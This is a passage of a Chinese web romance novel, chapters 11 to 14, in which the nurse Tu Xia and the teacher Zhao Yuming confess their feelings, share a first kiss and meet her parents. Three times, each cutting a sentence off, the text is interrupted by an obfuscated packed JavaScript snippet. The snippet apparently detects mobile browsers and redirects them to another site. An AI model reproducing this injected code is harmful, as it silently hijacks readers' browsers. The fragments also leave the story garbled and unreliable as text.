赵聿明怔了一下,摇头说:“没事儿,应该是来的时候太急,不小心蹭到哪里了。” 涂夏听他说完,瞬间觉得有些愧疚,她抬起眼睛看了赵聿明一眼,说:“先不铺了,我去拿药箱,你等我两分钟。” 空气一瞬间安静下来,涂夏丢下手上的东西去了客厅,赵聿明回过头看着她匆忙的身影,唇角不可抑制地勾起一抹笑。 11. 第 11 章 涂夏把药箱放在床头柜上,拿出里面的碘伏和棉签,开始给赵聿明手背上的擦伤消毒。 她的动作很轻,几乎让人感受不到刺痛。 处理好伤口,涂夏把药箱收拾好,抬头对上他的眼睛,沉默两秒,轻声叮嘱道:“伤口不要再碰水了,小心发炎。” 受伤了不说,等着她发现,然后心疼他。 她想:赵聿明可真是个坏男人。 “嗯。”赵聿明点了点头:“辛苦涂护士了。” “赵聿明……”涂夏抬手捧着他的脸,轻轻揉捏两下,她皱起眉头,语气严肃:“这是家里,不是医院,你能不能不要用这个称呼喊我,说真的,我每次一听见有人喊‘涂护士’这三个字,都会应激。” “好,我记住了。”赵聿明眼里满是宠溺,他轻声笑着,歪头用脸颊蹭了蹭她的手心,像只讨好主人的大型犬。 涂夏被他的回应方式给吓到了,眼里闪过一丝慌乱,深更半夜,干柴烈火,太容易出事了。 她抽回手,眼神闪躲,转身提起药箱,故作镇定地说:“时间不早了,你早点休息,我先去洗澡睡觉了。”说罢,匆忙逃离现场。 回到卧室时,涂夏的脸还是烫的,她低头看着自己的手心,那种柔软的触感还没有消散,她摇了摇头,安慰自己不要想那么多。 洗过澡,躺在床上,涂夏翻来覆去地睡不着,脑海里全都是赵聿明冲她歪头笑的模样。 第二天一早,涂夏顶着两个黑眼圈从卧室里出来,赵聿明问:“没休息好吗?” “嗯。”涂夏点头。 “那我晚上给你煲点安神汤。” “好。” 昨晚的事,两个人默契地选择闭口不谈。 生活逐渐步入正轨,涂夏也养成了科室排班表出来先拍照分享给赵聿明的习惯,她从前不喜欢依赖另一半,可现在却学会了恃宠而骄。 她的有点喜欢,也变成了很多点喜欢。 赵聿明不是急性子,感情也不是一蹴而就的,总要让涂夏先习惯自己在她身边的感觉。 休息日,赵聿明准时出现在楼下,涂夏收到消息,飞奔着从里面出来,他站在原地,张开两条胳膊,稳稳地将涂夏抱在怀里。 涂夏仰着头,笑着夸他:“赵老师今天又帅了啊,胸肌也比上一次结实,硬邦邦的。” 赵聿明脸色大变,伸手捂住她的嘴,严肃地说:“公共场合,不许乱说话。” “那公共场合还不许搂搂抱抱呢。”涂夏毫不犹豫地松开手,从他的怀抱里退出来:“很遗憾的通知你,你又失去了一次和涂女士拥抱的机会。” 她说完这句话,转身打开车门,回头看了眼赵聿明,得意地笑了笑。 赵聿明看着她坐上车,笑得有些无奈。 车子缓缓发动,慢速驶出小区,右拐进入主路后才逐渐提速,他轻声问:“中午想吃什么,我提前预定位置。” 涂夏的思考了一会儿,说:“火锅吧。” “好。”赵聿明点头。 涂夏闲来无事翻看着日历,她这才意识到赵聿明的学校快开学了,心里突然有点不舍。 她算了下时间,还有不到一周。 “赵老师,你的暑假生活快结束了,心中作何感想。” 赵聿明怔了一下,他也是刚意识到这个问题,思索良久后,说:“和以前一样,没什么特别的,给学生上课,做实验,写论文,不过……” 他话锋一转,轻声笑了笑:“不过身边中多了位叫涂夏的姑娘,她每天会跟我分享很多事,好像生活也没以前那么无趣了。” 涂夏歪着脑袋,唇角弯起,笑着说:“你很喜欢她吗?” 赵聿明目不转晴地看着前方,涂夏看着他的眼睛,他眼里含笑,温柔且坚定:“很喜欢。” “是一见钟情,还是日久生情?”涂夏问。 此时路口红灯亮起,车子停下,赵聿明侧头看着她,微微一笑:“都不是。” 涂夏不解:“嗯?那是什么?” 赵聿明伸出右手,用食指指尖蹭了蹭她的鼻子,望着她期待的眼神,柔声说:“感情这个东西不是一两句话能说清的,我第一次见你,觉得你性格很好,活泼、热情,像个小太阳;住院时觉得你话多,像个整天叽叽喳喳的鸟;现在又觉得你傻得可爱,像只软乎乎的小猫。” “你才傻。”涂夏皱着眉:“你这都什么形容啊?” “小猫炸毛了。”赵聿明笑了笑。 什么是喜欢? 喜欢就是看一个人做什么都可爱。 撒娇可爱,赖皮可爱,生气也可爱。 绿灯亮起,赵聿明回过身,双手扶着方向盘,按照导航继续行驶。 涂夏盯着他看了几秒,低头笑了。 车停在商场负一楼的车库里,她牵起赵聿明的手,抬脚朝着电梯方向走。 按下电梯上行键以后,涂夏问:“有什么想买的吗?衣服?鞋子?还是别的?” “你想买什么?”赵聿明反问她。 涂夏想了想,说:“随便逛逛呗,碰见想要的就买,没想要的就不买。” “嗯。”赵聿明点头:“我也是。” 涂夏听见这回答,抬头看他,嫌弃地说:“哪有蹭人话的?你也太敷衍了。” 赵聿明笑着回:“我听你的。” 上了楼,涂夏先带他去了家男装店,马上进入九月,天气逐渐转凉,总要买点过秋的衣服。 刚进店,销售员就热情地迎了上来,涂夏立刻冲她摆了摆手,轻声说:“你先忙,我们有需要会喊你。” 销售员点了点头:“好的。” 涂夏精心挑选了许久,最后拿起一件灰色针织毛衣,期待地问:“喜欢吗?要不要试试?” 赵聿明愣了一下:“给我选的吗?” “嗯。”涂夏点头,“还有一个月就秋天了。” “喜欢。”赵聿明说。 涂夏把衣服递给他:“喜欢就去试试。” “好。”赵聿明转身去了试衣间。 很快,他换好衣服出来,涂夏注意到针织衫领口的扣子还开着两颗,便快步走上前,亲自动手整理了一番。 赵聿明无奈地叹了口气。 真就是媚眼抛给瞎子看。 涂夏把他推到镜子前,仔细打量着,衣服本身的设计和版型都很普通,但架不住赵聿明长得帅,身材好,穿什么都有型。 她满意地点点头:“还不错。” “那就买。”赵聿明说:“我去换衣服。” “别急啊。”涂夏伸手拦住他,弯腰抱起休息椅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781364|190433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的衣服,微微一笑:“都试试。” “太多了。”赵聿明说。 涂夏把他推到试衣间,隔着门缝说:“又不是每件都买。” 赵聿明没办法,只能把衣服挨个试一遍。 涂夏坐在更衣室的休息椅上,像个参加选秀的皇帝,点头是满意,摇头是不满意。 最后,两个人抱着一堆衣服去了收银台结账,赵聿明掏出手机要付款,涂夏趁他不注意把自己的支付二维码亮了出去。 在收银员的配合下,涂夏成功付款。 赵聿明皱着眉看她。 收银员看出了两个人的关系,微微一笑:“夫妻出来买东西,大多是妻子结账,看你们俩的样子像是刚新婚不就吧?” 涂夏故作惊讶:“你看得可真准。” “你们俩有夫妻相,郎才女貌的。”收银员把衣服装进购物袋里递给涂夏,又抬头看了眼赵聿明,笑着说:“祝你们新婚快乐。” 赵聿明眼底有了笑意,伸手接过涂夏手中的购物袋,对收银员礼貌性地点了点头:“谢谢。” 收银员:“不客气,二位慢走。” 从男装店出来,赵聿明表情又恢复了严肃,涂夏挽着他的胳膊,能明显得感受到他的情绪变化。 涂夏撇了撇嘴,快走两步挡在他面前,倒退着看他,赵聿明睨她一眼:“好好走路。” “花钱买不了你一个笑脸?”涂夏有些不悦。 赵聿明停下脚步,顺势牵起她的手,认真地说:“给男人花钱倒霉一辈子。” 涂夏先是愣了两秒,然后实在忍不住笑了出来,她往前探着腰,仰着脸说:“我喜欢你,所以想给你花钱。” 赵聿明怔愣在原地,沉默许久后,不可置信地问:“你刚才说什么?” “我说……”涂夏笑了笑:“我喜欢你。” 涂夏伸手点了点他的脸颊:“高兴傻了?” 赵聿明有些激动,涂夏看见他眼里泛起的泪光,也有些想哭,撒着娇说:“又不是向你求婚,不至于啊。” “是表白吗?”赵聿明问。 “是。”涂夏点头。 三月的初见,六月的相逢,八月的表白。 一切刚好。 * 赵聿明任职的学校开学了,涂夏排班时间没有规律,两个人碰面的机会少之又少。 这天她上连班,下午三点就下班了。 涂夏想着很久没见面了,就给赵聿明发了个信息:【你下午课多吗?】 赵聿明正在用手机查资料,看见信息的那刻有些意外和惊喜:【你要来学校吗?】 涂夏:【嗯。】 赵聿明:【下午正好没课。】 涂夏:【那我去找你。】 赵聿明:【好。】 他看了眼课表,随即把目光停留在旁边正给盆栽浇水的同事身上:“李老师下午有事吗?” 同事摇了摇头:“没有。” 赵聿明微微一笑,说:“我下午有些事,能不能麻烦您帮我带两节课。” 同事听见这话,直接把喷壶撂了,关心地问:“咋了?家里有急事啊?” “没有。”赵聿明淡定地笑了笑:“女朋友要来学校,我陪她转转。” 此言一出,全办公室的人都愣了。 12. 第 12 章 涂夏赶到学校的时候,赵聿明正守在校门口等她。白衬衫,黑西裤,领口微张,袖口挽起,露出一截手臂,乍一看是很严肃正经的打扮,仔细观察却又觉得有几分性感。 两个人手牵着手,并排朝着校园走。 涂夏没忍住笑出了声:“我还以为你又要说公共场合注意影响呢。” 赵聿明很明显地怔了一下,他轻声笑了笑,说:“牵个手而已。” “是吗?”涂夏清了清嗓子,故意学他的语气重复他的话:“牵个手而已。” 赵聿明抬手摸了摸她软蓬蓬的头顶,轻声细语地说:“如果你想让我松开的话,我可以听你的。” 涂夏扯起一个微笑:“不要。” 逛校园是其次,见面腻歪是重点。 涂夏找了个凉亭坐下,下巴抵在赵聿明的肩膀上,单手揽着他的脖子,眼睛停留在他的侧脸上,深邃的眼窝,高挺的鼻梁,清晰的下颌线。 她突然,很想亲他。 “赵聿明,你害怕吗?”涂夏小声问。 “害怕什么?”赵聿明不解。 “害怕我在大庭广众之下……”涂夏说到这里的时候忽然犹豫了一下,赵聿明侧头看她,两个人对视一眼,她鬼使神差地抬起下巴,轻轻地在他脖子上啄了一下,“亲你。” 赵聿明安静地感受着脖颈处传来的温热。 涂夏观察着他的反应,最后只听到一声轻笑,她问:“你生气了?” “没有。”赵聿明说。 他托起涂夏的腰,额头抵着额头,用只有两个人才能听到的声音说:“要接吻吗?” 涂夏猛地愣住了,她眼神惊恐,双手抵在赵聿明胸前,有些抗拒:“这是学校,我不想前脚和你接吻,后脚就被人拍了发在校园墙里,然后一群人看着照片八卦咱俩的事儿。” 赵聿明弯唇一笑:“我又没说在这儿,这么紧张干什么?” “你耍我啊!”涂夏推开他,眼里写满了不可置信,这男人表面严肃正经,心里闷骚得不行。 赵聿明轻声笑了笑,他站起身,顺势牵起涂夏的手,语气温柔:“送你回家。” 涂夏跟在他身后,越想越气。 回到家,赵聿明像往常一样进厨房做饭。 涂夏从冰箱里拿了水果,故意抢走洗菜池的位置,仰头瞪了赵聿明一眼。 赵聿明又无奈又想笑,他伸手接过涂夏手里的水果,说:“你去休息,我来洗。” “不用。”涂夏往旁边移了两步。 他又跟了上去,两个人拉扯了一通。涂夏关掉水龙头,把手上的水全都撒在了赵聿明身上。 “消气了?”赵聿明问。 “没有。”涂夏捧着果盘,抬脚去了客厅,她躺在沙发上,冲着厨房说:“你做自己的份就好,我不想吃。” 空气安静几秒,赵聿明来了句“好”。 涂夏更生气了。 什么叫“好”,她不吃饭只吃水果就叫“好”? 渐渐的,从厨房飘出饭菜香味儿,涂夏肚子咕噜噜地叫着,她坐起来,伸长了脖子,看了眼还在忙碌的赵聿明。 最后,她起身回了卧室。 赵聿明听到了客厅的动静,手上的动作突然顿住,两秒后,唇角微微扬起,露出一抹狡黠的笑。他把做好的饭菜端到餐桌上,紧接着敲响了涂夏的房门,语气有些失落:“我回家了。” 卧室里一片安静。 涂夏趴在床上,双手撑着下巴,探着脑袋往门口看,她想赵聿明一定是在骗自己。 “哦。”涂夏漫不经心地敷衍了一句。 不知道过了多久,她终于起身下床,看着空荡荡的客厅,以及餐桌上未动的饭菜,心里莫名有点失落。 她走到玄关处,扫了一眼地上摆放整齐的男士拖鞋,随后打开家门,探出半边身子往外看,刚扭过头,就猛地和赵聿明对上视线。 “你不是回家了吗?”涂夏心虚地问。 赵聿明垂着眼睛,声音很轻:“有人在生气,不敢走。” 涂夏看着他满腹委屈的样子,颇为无奈。 她拽着赵聿明的胳膊,威胁道:“进来。” 随着密码锁传来两声“滴滴”,赵聿明站在玄关里,后背倚着门,涂夏伸出双手环抱住他的腰,脑袋抵在他的胸膛上。 她手腕用了力,强迫赵聿明的腰腹和自己贴的更紧,忽然,头顶传来一声轻笑。 “不许笑。”涂夏冷着脸说。 四周安静,赵聿明再也无法忽视那种柔软的触感,喉结上下滚动,他低下头,亲了亲涂夏的发顶。 涂夏的身体有些发僵,她抬头看着赵聿明的眼睛,随后踮起脚尖,亲了亲他的唇角。 两个人长久地对视着。 赵聿明哑着嗓子问:“要不要试试?” 涂夏没说话,直接用身体反应回答了他。 她收回禁锢着赵聿明腰腹的双手,转而揽上他的脖颈。赵聿明一手托着她的腰,一手托着她的后脑勺。 唇瓣纠缠良久,涂夏明显有些跟不上赵聿明的节奏,她下意识地想要往后躲,可奈何抵在自己腰间的那只手依旧紧紧地箍着。 “赵聿明……”涂夏双腿发软,几乎快要站不住了。 “我在。”赵聿明终于停了下来。 涂夏趴在他怀里,大口地喘着气,迫切猛烈的吻,让两个人都有些缺氧发懵。 赵聿明抬手揉了揉她的脑袋,询问道:“不舒服吗?” “没有。”涂夏摇头。 她只是觉得有点不真实。 空调冷风还在“呼呼”地吹,走廊里时不时响起脚步声,涂夏提着的心终于放下。 她刚才没想那么多,只是想把赵聿明紧紧地抱在怀里,感受他身体的温度,静听他心脏的律动,让他的世界里只有自己。 涂夏有些庆幸,庆幸自己还有点理智,没有把他带进卧室,没有脱光了衣服坦诚相见。 她抬手抹去赵聿明嘴唇上的水渍,轻声说:“时间不早了,吃完饭回家休息。” 赵聿明点了点头:“好。” 他走的时候,涂夏没有送,听着门口密码锁的提示音响起,心里忽然空了一块地方。 赵聿明正一点一点的渗透进她的世界。 他细心且耐心,会做饭,身材好,作息规律,不抽烟不喝酒,典型的居家好男人。 涂夏觉得自己越来越不舍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781365|190433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得放他离开了。 晚上八点多,涂妈打来了视频电话。 涂夏随手按下接通,她看着屏幕里排坐整齐的三个人,微微蹙起眉:“干嘛呢?这么隆重,兴师问罪啊?” “姑娘,感情进展如何啊?”涂妈乐呵呵地笑着,“啥时候带家里让爸妈瞅瞅。” “还早着呢。”涂夏说。 “姐。”涂浩的声音响起,他满脸的不情愿,甚至有些气愤:“你怎么不告诉我,你的相亲对象是我物理学老师啊!” 涂夏有些懵:“赵聿明是你老师?” 涂浩点了点头,咬牙切齿地说:“你俩在一起了,让我怎么活?你都不知道,我平常见了他都是绕着走的。” “那你继续绕着他走呗。”涂夏笑了笑。 涂妈一巴掌挥了过去,接着就是涂浩的鬼哭狼嚎:“妈,你不能有了女婿,就不认我这个儿子了!啊!爸,你看我妈,她怎么能喜新厌旧呢!” “不管不管。”涂爸背过头,捂着耳朵。 涂夏隔着屏幕,笑个不停。 “妈,别打了。”她劝道。 涂妈手上的动作终于停止了,涂浩凑到镜头前,抽出纸巾,狠狠地擦了下鼻涕,哭着说:“我不同意你俩在一起。” 涂夏笑着问:“为什么?” “赵聿明可凶了,整天板着张脸,动不动就提问,回答不上来他也不生气,就这么笑着看你,和和气气地说下次注意,你瞧瞧这多慎人啊!”涂浩义愤填膺地说。 他就怕这种表面和气,实则严厉的老师。猜不透,摸不准,整天像悬了颗定时炸弹。 涂妈又瞪他一眼:“不会说话就闭嘴。” 涂夏轻声一笑,安慰道:“你不应该劝我和赵聿明分手,你应该劝我俩感情更上一层楼,你是他未来小舅子,哄着点儿,捧着点儿,你在学校的日子也能好过点儿,万一我真听你的,跟他提了分手,你觉得他会不会给你穿小鞋?” “对哦。”涂浩瞬间想明白了。 姐夫最怕小舅子。 他问:“赵聿明不知道我的存在吧?” 涂夏摇头:“我没跟他说过你也在梧大。” “那就行。”涂浩长舒一口气,“先保密。” 涂夏“嗯”了一声。 涂妈毫不留情地把儿子推开,她问:“啥时候让我和你爸见见呀?刚才听你弟说了一大堆,感觉人还不错。” 涂夏想了想,说:“我一会儿给他发个信息,看什么时候有空。” “行。”涂妈点头:“来的时候提前说,我跟你爸就不出门了,买好菜在家里等着。” 她对赵聿明这个未来女婿是满意的。 人长得一表人才,工作又好,对涂夏也舍得,可谓是打着灯笼都难找。果真应了那句话,丈母娘看女婿,越看越欢喜。 涂夏“嗯”了一点。 涂妈满意地笑了笑,叮嘱道:“那你早点休息,别熬夜。” 挂断电话,涂夏点开赵聿明的聊天框。 涂夏:【想见家长吗?】 赵聿明:【想见家长,也想结婚。】 涂夏笑了笑:【想得美。】 赵聿明:【想你。】 13. 第 13 章 见家长的日子定在了周六,涂夏休班,赵聿明提前几天买好了礼品。早上十点半,他把车停在了涂夏家楼下,旁边时不时有路过的邻居上下打量他一眼,然后低头和身边人窃窃私语。 给涂夏发过信息,他绕到后备箱,把里面的东西全提了出来,步行上到三楼,抬手按下门铃。 很快,有人给他开了门。 第一眼见到的是涂夏。 她穿着一件水蓝色的裙子,长发随意地挽在脑后,皮肤白净,腰肢纤细,俏皮灵动的脸蛋上有一丝成熟妩媚,直教人移不开眼。 涂夏笑着说:“快进来。” 此时,涂妈听到了开门声,快步从厨房里出来,看着眼前一表人才的赵聿明,她开心得合不拢嘴:“是赵老师吧。” 赵聿明点了点头,抬脚跨进门槛,把礼品全提了进来,他笑着说:“阿姨,您叫我小赵就好。” “好好好。”涂妈连连点头,看见他脚边堆了一地的礼品箱子,惊讶地说:“来就来嘛,还带这么多东西干什么。” “这是应该的。”赵聿明说。 涂妈冲着厨房喊了一嗓子:“老涂啊,你未来女婿来啦,快放下手上的活儿出来见见。” 涂夏笑得无奈,小声说:“我说话满嘴跑火车都是随了我妈,你等会儿就听一乐呵,甭管他俩说什么,你就只点头哄着。” “嗯。”赵聿明点头:“听你的。” 涂夏从鞋柜里拿了双新拖鞋出来,赵聿明弯腰换上,抬脚跟着她往客厅走。 此时,涂爸刚好从厨房里出来,赵聿明恭恭敬敬地弯了下腰:“叔叔好。” “嗯。”涂爸点了点头。 四个人在沙发上坐下,涂妈先是给赵聿明倒了杯水,又笑着把果盘往他的方向推了推:“别跟阿姨客气,就当自己家一样。” 赵聿明全程微笑:“谢谢阿姨。” “小赵今年多大了?”涂爸问。 “31。”赵聿明笑着答。 涂爸点了点头:“家里父母是做什么的?” “父亲是医生,母亲是老师。” “你是自己住,还是跟父母住。” “自己住。” “那结婚后有没有和长辈住的打算?” “我和父母一直是分开住的,结婚后也不会住一起。如果涂夏不想和叔叔阿姨分开住的话,我可以和二位长辈一起住。” 涂爸随即露出一个满意的笑容,他起身说:“夏夏,你先陪小赵坐一会儿,我去厨房把鱼蒸上。” 赵聿明跟着站了起来,他挽起袖子说:“叔叔,我来吧。” “小赵,你坐着。”涂妈挥了挥手,“你今天第一次来,等着吃饭就行。” 涂夏也劝道:“今天尝尝我爸的手艺,下次让你动手。” 赵聿明话不多,涂妈也没有和未来女婿聊天的经验,一时间熄了火,不知道要说些什么,静谧的客厅里莫名有些尴尬。 为了打破这种氛围,涂夏把赵聿明带到了自己的卧室,掏出一本相册,平铺到床上,给他一一介绍。 她指着一张老照片说:“这是我刚出生的时候,脸上皱巴巴的,是不是很丑。” 赵聿明拿起照片,仔细看了看,笑着说:“不丑,小孩儿都这样。” 他的眼神停留在涂夏的幼儿园毕业照上,一群小豆丁穿着统一的园服,乖乖地排排坐。 “哪个是你?”赵聿明问。 涂夏挑了挑眉:“你猜。” 赵聿明挨个看过去,最后指了指第一排做鬼脸的小女孩儿,轻声问:“是这个吗?” “嗯。”涂夏点头:“猜这么准啊?” “心灵感应。”赵聿明说。 涂夏笑了笑,接着拿出自己学生时期的全部毕业照,她说:“找吧。” 赵聿明总能在一群人里快速的找出涂夏。 小学,她穿着小裙子,扎着两条马尾辫,咧着嘴开心地笑。初中,她把刘海梳了上去,弯着眉眼,冲镜头伸手比着耶。高中,她是齐肩短发,蓝白相间的校服,嘴角微微扬起,眼里有些疲态,看起来有点不开心。大学,她长发披肩,身穿学士服,眼神坚定,捧着一束花,笑的明媚阳光。 涂夏趴在他肩膀上,感叹道:“时间过的可真快呀。” 赵聿明抬手揉了揉她的脑袋,说:“幸福的时光过得都很快。” “对啊。”涂夏笑了笑:“以前总觉得课上的四十分钟很漫长,现在觉得也不过就是一集电视剧的时间,一眨眼就过去了。” 赵聿明低低地笑了一声,问:“你是不是上课没认真听啊?” 涂夏有些无语:“赵聿明,我在跟你谈浪漫,你在跟我谈什么?” “我在跟你谈恋爱。”赵聿明说。 “你的谈恋爱就是泼冷水吗?” “我可没有,好奇而已。” 两个人正拌嘴呢,敲门声陡然响起,涂夏安静了,她问:“怎么了?” “出来吃饭。”涂妈说。 “马上来。”涂夏回答完,伸手揉了揉赵聿明的脸,威胁道:“再乱说话我就不亲你了。” 她弯下腰,快速在赵聿明唇上咬了一口。 赵聿明轻嘶一声,“疼。” “疼才能长记性。”涂夏说。 赵聿明站起身,整理好衣服,又伸手给她重新挽了一下头发,两个人淡定地开门出去。 餐桌上,涂妈一个劲儿地给赵聿明夹菜。 涂夏笑着说:“妈,别夹了,女婿跑不了。” 涂妈瞪她一眼,随后扯起一个和蔼可亲的笑容,轻声问:“有想过什么时候结婚吗?” 赵聿明看向涂夏,微微笑着:“我听涂夏的。” “涂夏听我的。”涂妈满意地笑了笑,她掰着手指头开始算时间:“你俩认识也三个多月了吧,时间不短也不长,我们的意思是年前把婚事定下来,至于扯证办婚礼的事儿,可以往后推推。” “妈……”涂夏急忙开口打断谈话:“养个小猪还得一年呢,哪有刚谈三个月,就盘算着结婚,这也太着急了吧。” 涂妈皱着眉说:“先定下来嘛。” 赵聿明在桌下握住涂夏的手,递给她一个安心的眼神,他说:“阿姨,既然您和叔叔都支持我们在一起,那我今天就向您二位长辈表个态,只要涂夏愿意嫁我,我就一定会娶她。” 他尊重涂夏的一切选择。 结婚不是目的,在一起才是。 涂爸说:“听孩子的。” 吃过饭,赵聿明又在家里坐了一会儿,等时间差不多了,涂夏下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781366|190433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楼去送他,两个人站在车前,手牵着手,谁也没说话。 午后的微风扫过树叶,发出窸窸窣窣的声音,枝桠上的蝉还在不停地叫着,不远处的阴凉下,一群老头儿老太太围在一起下棋闲聊。 涂夏抬头盯着他看了一会儿,随后收回视线,轻声说:“到家记得发信息。” “嗯。”赵聿明点头。 刚才涂夏并不是想退缩,她只是单纯觉得结婚还早,想对赵聿明有更深了解之后,再谈这件事。 但赵聿明的回答,显然是她没想到的。 “上车吧。”涂夏说。 赵聿明按了下车钥匙,抬手打开副驾驶的车门:“陪我坐一会儿,可以吗?” “可以。”涂夏点了点头,抬脚坐上车。 赵聿明上车之后,先是打开了冷风,后又牵起她的手,温柔地说:“别有心理压力。” 涂夏微微一笑:“我没有。” 赵聿明抬起左手,用拇指轻轻揉了揉她的眉心,轻声说:“从阿姨谈起结婚这件事到现在,你的眉头就没松开过,我知道你的想法,你想慢慢来,所以,你也要知道我的想法,我会尊重你的一切选择。” “嗯。”涂夏说:“谢谢。” “不用对我说这句话。” 小区里的人渐渐多了起来,为了不必要的麻烦,涂夏从车长下来,目送着他离开。 她站在单元楼的门口,张奶奶拎着小马扎刚好路过,见小姑娘哭丧着一张脸,开口问:“怎么了这是?挨爹妈训了?” “没有。”涂夏扯起一抹苦笑,瞧见老太太没戴挎包,好奇地问:“您不去搓麻将啊?” 张奶奶摇摇头:“不去不去,戒了。” 涂夏笑着说:“我可不信。” “嘿,我一老太太活这么大岁数,还能说谎话诓你不成?”张奶奶背着手,顺着涂夏的视线往外瞅,她早听说了,说是小区里停了一辆陌生车,貌似是哪家姑娘的对象来见家长的。 合着瞧这样子,那姑娘就是涂夏。 “别看了,人早没影了。”张奶奶说。 涂夏不承认,反问她:“我看什么了?” “对象呗。”张奶奶指了指地上的台阶,“这可不是望夫石,爹妈不同意,那是他人差劲儿,没长相,没身高,还没钱,三没男人可不能嫁。” 涂夏忍不住笑了,赵聿明可不是三没男人,她问:“您哪只耳朵听说我爸妈不同意了?” “呦,这是同意啦?”张奶奶语气夸张,像是哄小孩儿玩一样。 “嗯。”涂夏点头:“我爸妈挺满意的。” 张奶奶笑了笑:“满意就结婚,你也老大不小的了,抓紧把亲事定了,爹妈也了了一桩心事。” 涂夏听到这句话,怔了一下,她问:“您也觉得我该结婚吗?” “结呗。”张奶奶说:“谈恋爱都能装,演戏谁不会啊,结了婚才见真面目,大不了就离,早早的看清一个人,咱也不至于浪费大好青春。” 涂夏不知道说什么了,她只能竖起大拇指,夸一句:“您这思想真超前。” 张奶奶挥挥手,说:“看开点,不就是结婚离婚嘛,有什么大不了的,路错了就纠正,别还没开始走呢,就犹犹豫豫的拿不定主意,这样的人一辈子成不了大气候。” 14. 第 14 章 晚上,涂夏洗完澡吹过头发,双腿交叠靠在床上,手机放在一边,屏幕显示着她和赵聿明的聊天页面。 等脸上的面霜吸收完以后,她拿起手机,拨了个视频电话过去,赵聿明那边的环境有些昏暗,像是只开了盏小夜灯。 她问:“要休息了吗?” 赵聿明重新坐了起来,笑着说:“原本是要休息的。” 涂夏看着屏幕里赵聿明的侧脸,他睡眼蒙眬,声音也有些低哑,睡衣领口松了很多,只要稍微一动就能露出大片胸肌。 “原本?”涂夏轻笑一声,“那你现在是做好了和我煲电话粥的准备吗?” 赵聿明笑了笑:“嗯。” 涂夏忽然很想逗他,她把手机拿近了一些,云淡风轻地说:“今天下午你离开之后,有个老太太开导我,她说结呗,大不了就离。” “离?”赵聿明歪头看她:“结婚又不是儿戏。” 涂夏说:“嫁错了人,可不就离嘛。” 赵聿明皱着眉,不太赞同她这个观点,但又觉得没什么可反驳的,思考良久后,沉声道:“及时止损是正确的,但碰见大事应该思考清楚再做决定,结婚轻松,离婚呢?你只觉得去民政局领一个证就算离了,财产分割,孩子抚养权,都是问题。” 涂夏沉默了许久,终于在赵聿明的一声轻咳提醒下回过神,她撇了撇嘴,说:“你又不会让我吃亏。” “因为,我不会同意离婚。”赵聿明几乎是在她说完话的下一秒就开了口。他盯着手机屏幕,看涂夏来回闪躲的眼睛,白白嫩嫩的脸蛋上染了一抹红晕,“我所拥有的一切,都将是你的。” 涂夏佯装淡定,单手撑着下巴,若有所思地说:“赵聿明,你知道吗?有时候你好到让我觉得这一切都是假的,我不相信这世界上有完美男人,但你又切切实实地站在我面前,现在我的内心特别的矛盾。” 人有疑心很正常,但她面对这么好的赵聿明,还依旧心存疑虑,她开始怀疑自己,怀疑自己是不是太杞人忧天了。 赵聿明安静地听她说完,轻声询问:“你相信有上帝视角吗?” 涂夏点点头,说:“相信。” “或许,上帝给我安排的设定,就是无条件的爱你呢?”赵聿明声音轻缓,眼神温柔,他想让涂夏看见自己的坚定,想让她信任自己。 涂夏不知道回他什么,两个人就这么无言对视着,不知过了多久,赵聿明轻笑开口:“好了,不要想那么多,明天还要上班,早点休息。” “嗯。” 涂夏看着他,再三犹豫,最后还是只道了声晚安。 挂断电话,她躺在床上辗转反侧,耳边不断回响起赵聿明的话,一夜无眠。 * 楼上装修做防水测试,赵聿明的家意外遭殃,天花板和墙面全是渗水。 留存好证据后,他找来物业和楼上业主沟通,最后协商不成,直接报了警。 处理完事情已经到了半夜,他坐在客厅沙发上,犹豫着要不要趁此机会给涂夏打个电话,顺带着卖个惨。 “喂。”涂夏接通了电话。 赵聿明皱着眉,装作很是为难的样子,他说:“我家被淹了。” 涂夏愣了两秒,问:“怎么淹的?” “楼上装修。” “严重吗?” 赵聿明发出一声苦笑:“有点无从下脚。” 一小时后,赵聿明拎着行李箱,出现在涂夏家门口。哦,不对,应该也是他的家。 他轻车熟路的换鞋进门,涂夏穿着睡衣,脸上带着困意,慢悠悠地走过来,推着他的行李箱,转身去了主卧。 主卧的灯开着,床已经铺好了。 “吃晚饭了吗?”涂夏问。 赵聿明摇了摇头,他光忙着处理家被水淹的事儿了,压根没顾得上吃晚饭。 涂夏抬手打了个哈欠,揉着眼睛说:“冰箱里有速冻饺子,我去给你煮点,你先去洗澡吧。” “我来就行,你去睡觉。”赵聿明抬手脱掉外套,解开衬衫袖口,随手挽起,他走到涂夏面前,轻轻揉了揉她的脑袋,哄道:“去睡觉吧。” 